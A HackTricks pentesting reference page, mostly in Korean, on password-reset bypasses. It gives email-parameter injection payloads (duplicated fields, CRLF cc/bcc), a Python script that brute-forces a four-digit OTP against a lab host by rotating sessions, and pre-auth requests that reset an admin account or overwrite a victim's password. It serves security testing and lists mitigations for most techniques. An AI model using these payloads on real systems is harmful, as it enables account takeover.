Reset/Forgotten Password Bypass
Reading time: 10 minutes
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Password Reset Token Leak Via Referrer
- HTTP referer header가 URL에 포함된 경우 비밀번호 재설정 토큰이 leak될 수 있습니다. 사용자가 비밀번호 재설정을 요청한 뒤 제3자 웹사이트 링크를 클릭할 때 이런 상황이 발생할 수 있습니다.
- Impact: Cross-Site Request Forgery (CSRF) 공격을 통해 계정 탈취 가능성.
- Exploitation: 비밀번호 재설정을 본인 이메일로 요청하고 제공된 리셋 링크를 클릭합니다. 즉시 비밀번호를 변경하지 마세요. 대신 Burp Suite로 요청을 가로채면서 Facebook이나 Twitter 같은 제3자 웹사이트로 이동합니다. 요청을 검사하여 referer header에 비밀번호 재설정 토큰이 포함되어 있는지 확인하세요. 이는 제3자에게 민감한 정보를 leak할 수 있습니다.
- References:
- HackerOne Report 342693
- HackerOne Report 272379
- Password Reset Token Leak Article
Password Reset Poisoning
- 공격자는 password reset 요청 중 Host header를 조작하여 리셋 링크를 악성 사이트로 유도할 수 있습니다.
- Impact: 리셋 토큰이 공격자에게 leaking되어 잠재적인 계정 탈취로 이어질 수 있습니다.
- Mitigation Steps:
- Host header를 허용 도메인 화이트리스트와 대조하여 검증합니다.
- 절대 URL을 생성할 때는 안전한 서버사이드 방법을 사용합니다.
- Patch: 비밀번호 재설정 URL을 구성할 때
$_SERVER['SERVER_NAME']을 사용하고$_SERVER['HTTP_HOST']는 사용하지 마세요. - References:
- Acunetix Article on Password Reset Poisoning
Password Reset By Manipulating Email Parameter
Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.
- 공격자는 리셋 링크를 우회시키기 위해 추가 이메일 파라미터를 추가하여 password reset 요청을 조작할 수 있습니다.
- 공격자 이메일을 두 번째 파라미터로 &를 사용해 추가 &
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
- %20을 사용하여 attacker email을 두 번째 매개변수로 추가
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
- 파이프(|)를 사용하여 공격자 이메일을 두 번째 매개변수로 추가
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
- 공격자 이메일을 cc로 두 번째 매개변수에 추가
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
- bcc를 사용하여 공격자 이메일을 두 번째 매개변수로 추가
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
- 두 번째 매개변수로 attacker email을 추가하려면 ,를 사용하세요
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
- json 배열의 두 번째 매개변수로 attacker email을 추가합니다
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
- 완화 조치:
- 이메일 파라미터를 서버 측에서 올바르게 파싱하고 검증하세요.
- injection attacks를 방지하기 위해 prepared statements 또는 parameterized queries를 사용하세요.
- 참고자료:
- https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be
- https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/
- https://twitter.com/HusseiN98D/status/1254888748216655872
API 파라미터를 통해 모든 사용자 이메일 및 비밀번호 변경
- 공격자는 API 요청의 이메일 및 비밀번호 파라미터를 수정하여 계정 자격 증명을 변경할 수 있습니다.
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
- 완화 조치:
- 매개변수 검증과 인증 확인을 엄격히 수행하세요.
- 의심스러운 활동을 탐지하고 대응할 수 있도록 강력한 로깅 및 모니터링을 구현하세요.
- 참고자료:
- Full Account Takeover via API Parameter Manipulation
No Rate Limiting: Email Bombing
- password reset 요청에 대해 rate limiting이 없으면 email bombing으로 이어져 사용자가 리셋 이메일로 압도될 수 있습니다.
- Mitigation Steps:
- IP 주소 또는 사용자 계정 기반으로 rate limiting을 구현하세요.
- 자동화된 악용을 막기 위해 CAPTCHA 도전을 사용하세요.
- References:
- HackerOne Report 280534
Find out How Password Reset Token is Generated
- Token 생성 방식의 패턴이나 메소드를 이해하면 token을 예측하거나 brute-forcing할 수 있습니다. 몇 가지 옵션:
- 타임스탬프 기반
- UserID 기반
- 사용자 email 기반
- Firstname 및 Lastname 기반
- 생년월일 기반
- Cryptography 기반
- Mitigation Steps:
- 토큰 생성에는 강력한 cryptographic 방식을 사용하세요.
- 예측 가능성을 방지하기 위해 충분한 randomness와 길이를 보장하세요.
- Tools: Burp Sequencer를 사용하여 토큰의 무작위성을 분석하세요.
Guessable UUID
- UUIDs (version 1)이 추측 가능하거나 예측 가능하면, 공격자는 이를 brute-force하여 유효한 reset tokens를 생성할 수 있습니다. 확인:
- Mitigation Steps:
- 무작위성을 위해 GUID version 4를 사용하거나 다른 버전에는 추가 보안 조치를 적용하세요.
- Tools: guidtool을 사용해 GUID를 분석하고 생성하세요.
Response Manipulation: Replace Bad Response With Good One
- 에러 메시지나 제한을 우회하기 위해 HTTP 응답을 조작하는 것.
- Mitigation Steps:
- 서버 측 검증을 구현하여 response 무결성을 보장하세요.
- man-in-the-middle 공격을 방지하기 위해 HTTPS 같은 secure communication channels를 사용하세요.
- Reference:
- Critical Bug in Live Bug Bounty Event
Using Expired Token
- 만료된 token이 여전히 password reset에 사용 가능한지 테스트합니다.
- Mitigation Steps:
- 엄격한 token 만료 정책을 적용하고 server-side에서 만료를 검증하세요.
Brute Force Password Reset Token
- Burpsuite와 IP-Rotator 같은 도구를 사용해 reset token을 brute-force 시도하여 IP 기반 rate limits를 우회합니다.
- Mitigation Steps:
- 강력한 rate-limiting 및 계정 잠금 메커니즘을 구현하세요.
- brute-force 공격을 시사하는 의심스러운 활동을 모니터링하세요.
Try Using Your Token
- 공격자의 reset token이 피해자의 email과 함께 사용될 수 있는지 테스트합니다.
- Mitigation Steps:
- 토큰이 user session이나 다른 사용자 고유 속성에 바인딩되도록 하세요.
Session Invalidation in Logout/Password Reset
- 사용자가 logout하거나 password reset할 때 세션이 무효화되는지 확인합니다.
- Mitigation Steps:
- 적절한 session 관리를 구현하여 logout 또는 password reset 시 모든 세션이 무효화되도록 하세요.
Session Invalidation in Logout/Password Reset
- Reset tokens에는 만료 시간이 있어 만료 후 무효화되어야 합니다.
- Mitigation Steps:
- reset tokens에 합리적인 만료 시간을 설정하고 server-side에서 이를 엄격히 적용하세요.
OTP rate limit bypass by changing your session
- 웹사이트가 wrong OTP 시도를 추적하기 위해 user session을 사용하고, OTP가 약한 경우(<= 4자리) 실제로 OTP를 효과적으로 bruteforce할 수 있습니다.
- 악용 방법:
- 서버에 의해 차단된 후 새 session token을 요청하면 됩니다.
- 예시: 이 버그를 악용해 OTP를 무작위로 추측하는 코드 (세션을 변경하면 OTP도 변경되어 순차적으로 bruteforce할 수 없음):
# Authentication bypass by password reset
# by coderMohammed
import requests
import random
from time import sleep
headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"
parms = dict()
ter = 0
phpsessid = ""
print("[+] Starting attack!")
sleep(3)
print("[+] This might take around 5 minutes to finish!")
try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
parms["s"] = 164 # not important it only efects the frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
if ter == 8: # follow number of trails
out = requests.get(logout,headers=headers) # log u out
mainp = requests.get(root) # gets another phpssid (token)
cookies = out.cookies # extract the sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
ter = 0 # reset ter so we get a new session after 8 trails
else:
ter += 1
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
print(len(res.text)) # for debug info
print(phpsessid)
reset_data = { # here we will change the password to somthing new
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
print("[+] Password has been changed to:D37djkamd!")
break
except Exception as e:
print("[+] Attck stopped")
Arbitrary password reset via skipOldPwdCheck (pre-auth)
일부 구현은 password-change 루틴을 skipOldPwdCheck=true로 호출하는 password change action을 노출하고, reset token이나 소유권을 확인하지 않습니다. 만약 endpoint가 change_password 같은 action 파라미터와 요청 본문에 username/new password를 허용한다면, 공격자는 pre-auth 상태에서 임의의 계정을 reset할 수 있습니다.
취약한 패턴 (PHP):
// hub/rpwd.php
RequestHandler::validateCSRFToken();
$RP = new RecoverPwd();
$RP->process($_REQUEST, $_POST);
// modules/Users/RecoverPwd.php
if ($request['action'] == 'change_password') {
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
}
public function displayChangePwd($smarty, $username, $newpwd) {
$current_user = CRMEntity::getInstance('Users');
$current_user->id = $current_user->retrieve_user_id($username);
// ... criteria checks omitted ...
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
}
Exploitation 요청 (개념):
POST /hub/rpwd.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
Mitigations:
- 비밀번호 변경 전에 계정과 세션에 바인딩된 유효한 시간제한(reset) 토큰을 항상 요구하세요.
- skipOldPwdCheck 경로를 비인증 사용자에게 절대 노출하지 마세요; 일반 비밀번호 변경에는 인증을 강제하고 기존 비밀번호를 확인하세요.
- 비밀번호 변경 후 모든 활성 세션과 리셋 토큰을 무효화하세요.
Registration-as-Password-Reset (Upsert on Existing Email)
일부 애플리케이션은 signup handler를 upsert로 구현합니다. 이메일이 이미 존재하면 handler는 요청을 거부하는 대신 사용자 레코드를 조용히 업데이트합니다. registration endpoint가 기존 이메일과 새 비밀번호를 포함한 최소한의 JSON 바디를 받으면, 이는 소유권 검증 없이 pre-auth password reset이 되어 full account takeover를 허용합니다.
Pre-auth ATO PoC (기존 사용자의 비밀번호 덮어쓰기):
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
참고 자료
- https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token
- https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
- How I Found a Critical Password Reset Bug (Registration upsert ATO)
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks